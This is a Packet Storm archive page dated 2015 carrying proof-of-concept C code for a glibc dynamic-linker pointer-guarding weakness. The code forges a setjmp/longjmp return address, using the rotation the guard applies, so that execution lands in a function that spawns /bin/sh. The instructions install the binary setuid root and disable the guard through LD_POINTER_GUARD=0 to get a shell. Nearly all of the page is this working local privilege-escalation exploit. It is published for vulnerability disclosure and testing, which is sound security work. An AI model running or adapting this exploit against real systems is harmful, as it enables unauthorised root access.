what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Glibc Pointer Guarding Weakness

Glibc Pointer Guarding Weakness
Posted Sep 7, 2015
Authored by Hector Marco, Ismael Ripoll | Site hmarco.org

Glibc pointer guarding weakness proof of concept code.

tags | exploit, proof of concept
SHA-256 | 64411cf75336417b9d476a2bf486dd76842d1e2a6149f57b59c3900238a08677

Glibc Pointer Guarding Weakness

Change Mirror Download
/*
* $FILE: poc_pointer_dynamic_vul.c
*
* Comment: Proof of concept for dyamic linker (ld.so) versions <= 2.22.90
*
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
*
* Steps:
*
* $ gcc poc_pointer_dynamic_vul.c -o poc_pointer_dynamic_vul
* $ sudo chown root:root poc_pointer_dynamic_vul
* $ sudo chmod u+s poc_pointer_dynamic_vul
* $ LD_POINTER_GUARD=0 ./poc_pointer_dynamic_vul
*
* If you got a shell your system is vulnerable.
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#elif __arm__
#define ROTATE 0x0
#define PC_ENV_OFFSET 0x24
#else
#error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}

int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}

/*Overwrite env return address */
*ptr_ret_env = rol((uintptr_t)hacked);

longjmp(env, 1);

printf("[-] Exploit failed.\n");
return 0;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close